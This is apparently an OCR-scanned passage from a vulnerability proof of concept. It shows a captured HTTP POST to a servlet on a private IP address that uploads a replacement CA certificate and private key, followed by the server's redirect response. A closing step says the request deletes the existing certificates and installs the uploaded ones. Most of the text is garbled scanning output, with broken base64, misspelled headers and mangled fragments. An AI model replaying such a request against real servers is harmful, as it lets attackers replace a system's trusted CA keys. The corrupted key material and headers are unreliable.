MIG+MA8SGCWCGSAGG+EIBDQQCFgAWHQYDVROOBBYEFLDosmmRclOVrT8/j0j+hGLg
CpgFMH4GALUdIWR3MHWAFLDosmmRcl0VrT8/j0j+hGLgCpgFoVKKkUDBOMQswCQYD
VQQIEWIDQTELMAKGA1UEBXMCQ1UxDjAMBgN VBA0 TBVRSRUSEMQOWCWYDVQQLEwW
RJ

VINTMRMwWEQYDVQQDEwWpJVIN TLIRSRU5EggkAtL6fsj TC gywwDAYDVROTBAUWAWEB
/zANBgkghkiGOWO BAQUF AAOCAQEA0h0 XZ82Q ZK swjEsVgDrfu]WXQ7KvP X BaHW+I
VAZz(3JS6IL6 TN6mStqu36wEpjf4 UK nn7 TpVEBPB6k jGe Zak+0 ZiPa0so jgk grOQ

OvUV2pidfD AvCcxhslgZ8W Xe XEMb+CfrO5EBsd72sxK BtJ2iK LKH6NFqrwCBStIB
31IEAWZgpON zqS+r2yRPpFVBF+VXRC mmKW3SkHRIisz9iO AF+VQO+8RynHCWSFWN4
YGV5sTTjx8E08acrazCM+t9GamBCsUi2g3qcnSZMQ IsLrWehYN3fBneNsltzik8R
Im9/tV44D/PxeFN ISIZHZmcpXREcklkgZeqg3upP+DGI2 IMDw==

mmmmm e Te1 1fd 2fd 0acO
Content-Disposition: form-data; name="importca_key"; filename="get current_ca_key(1).cer"
Content-Type: application/x-x509-ca-cert

MIIEpAIBAAKCAQEApucvWAB50AzgiboEaxrVZXptpOLSjrL6/B8COTNK590bTule
ITGVsmM90 g2Hj/b3wZpxWZCkIyECP zk6QvfTbpH599ZtZ+6bn7 DOloxLk4 Ax/mxZM
Y4tdGtBLx2gQMp69PfoY teb619hvjJOVICQ2Wqo7LcOfXO+ISIL+R0O32LSyuTwt2
IBVYym7rXgXKFme6fbk1g/68qWp8fhX+F9cx8JQyDQLOWRSUQEGA085LeHENdEhN
INACIOyXylQ5bORmMOyc/ody2wXI0 TV fuOcBQ f8tUMLrOnIt4v6C033JipclISNcc
HOzli6/D5+UfXw50G/i8 LsHfoht Y Fw+xFqc7uQIDAQABA0IBAQC fpxHOF fleb+Lx
m/DSC08JzTzK/16XVd/kAD4Po4AMImYb5yx5gliffob12y9LtTB2 D6 hRxpxbxh2Cl
NnsaWfkotoNFLZ+7q4K6ZhtCzs4Ey6/cyE22 AvICWHFcg9zKrzHS8UN I7VZIp4m8
+F4hVSpxO9I0DHztx4d UgrX1uOu7FTDISDFC062q0weOFOpXF2VtC IkGCOAgQaMz
+NpFC8WXHzhVz108Fv8Z7QfG5KMwZTmZYbkqL8PbfV2g83Hcsb Tt8gx9 YUOWWVgAQ
hyV44wW9eU3UCpYp99fMd6Ho6Y IB2EqK W TE+RSkwqG4uSRY6DV/TC7XSgl6+229
X7SVs0ghAoGBANRoH+ThTqgpq7jCEXxij3bgozAo+oslirGBNES m22ealFpFnf/aPD




Request

Fpaans Headers | Hex

Target: http://192.168.253.150:1812

POST /serviet/com. crend. iuss.gui serviet KHLRPCoert factio
Accept: text/html, application/xhtml+xml, image/3xr, /%
Accepe-Language: =n-

User-Agent: Kozilla/5.0 (Windows NT 10.0; WOWSd; Trident/7.0; Touch; rvill.0) like Gecko
Content-Type: multipart/ : 7e11zd25d0ac0
Accepe-Encoding: gzip, deflate

Content-Length: 4085

Host: 192.168.253. 15
Pragma: no-cache
Cookis: JSESSIONID=ESS585SEFSS00782921845280ABA4ECD
Connect iof

wport ETTE/L.L

7e1 o
Content-Disposition: form-data; name="CSRFGuardToken®
SBPHSQGO74XLUSS G2 MCKSME TTEDOASTS

1 0

72l 0
Content-Disposition: form-data; name='defaultca"

no
7211 o
spositi tea x £ get_curremt_ca_cert(2).cer”
Content-Type: Bppl)ca\:)un/x ¥S09-ca-cert - - -
—----BEGIN CERTIFICATE----—-
HripaTe TBAGTIALS 07T
GALUECKUFVFJFTROxDT. TEELX

UleEzAREgN’VEAHTCkJ)(ULHuVFJFTkQuHthHDngTIxHDcuOTIDHthngXHTE"
MDCwOT 0V BONQs wCQYDVQQIEwI DQTELMAKGALUEBXHCQLUXD AMBGNVBAG TBVRS
EUSEHODNCSTDYOOLE gy L THRNAE QD VOGO up Y LTL LR SEDSENT 181300k
i GIwOBAQEF. s DLS::LE
/BBCOTNESSobTule 1T
7DDJh)chqAx/meHY‘lcdG:ELx_gQHpsQPEuYtEhsTthjJQvJCQ"Hqu7LchXO+J
SSL+RO3ZLSyuTar2
CEGADD5LeHANERASIAC 19y Xy TaShORROye /00y 4X DTV Hoch QE0E DHLE On 1t 4
VECDJSJJPCJJSNCCHDxJ15/DS+Uqu505/JELstch\:YFH+xFqc7uQTDAQAEcQHE

DVROOBBYEFLDosmmEe LOVETS/ 303 +hGLg
:mnmcummmnﬂnunusmncmvﬂs/:DzmcLgcpghvxkunsonosu:oyn
VQQIE®I DRTELMAKGAL UEB:HCQ1UD ] AMBGNVE Ao TEVRSEUS EHQO wCwYDVQQLEWR
VLNTHRKHEQYDVQQDEWPJVLNTL1RSRUSEggkAtLﬁfs:lTCQVWHDAYDVRDTEAUHAHEE
/

A2q305 € L THEMSE o) €5EpI£4DE RN Ty VEEP Bk Ge Zak 402 1Pa00) TR 00
OVUV3p14TDAVCE s [g28UX=XEI4CE rOSEBSl7 2 5% KBE D 1 KLKHENF qr iCBSTIB
3TTE£WzgpOl 2 108F wra
TGVSSTTI%BE0E: IS GamBCs T2 MO1sLrWen N3 £BneNslt ziKER
T8/ £ 1744D/ Px=FI 1S 1 ZHZICpXRECI T kGZe qa3 upP+DG 12 THD:

Type a search term

0 matches

[ELs

Response
Headers [ Hex
HTTP/ 1.1 302 Found A
Server: Apache-Coyote/l.l 3
Locat ion:
http://192.168.253.150:1813/ Pt_Toot_ca.isp 74KLUSS
SZHCKSHETTEDONSTS romlp loa=yes
Content-Lenge
bare: Wed, 10 Jan 2017 08:46:37 GHT
Connsction: close
2
x
Type a search term 0 matches

251 bytes | 251 milis

5. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and
private key were uploaded successfully, log in with Administrator account and download the certificate/key.

These should be the ones that you uploaded earlier.
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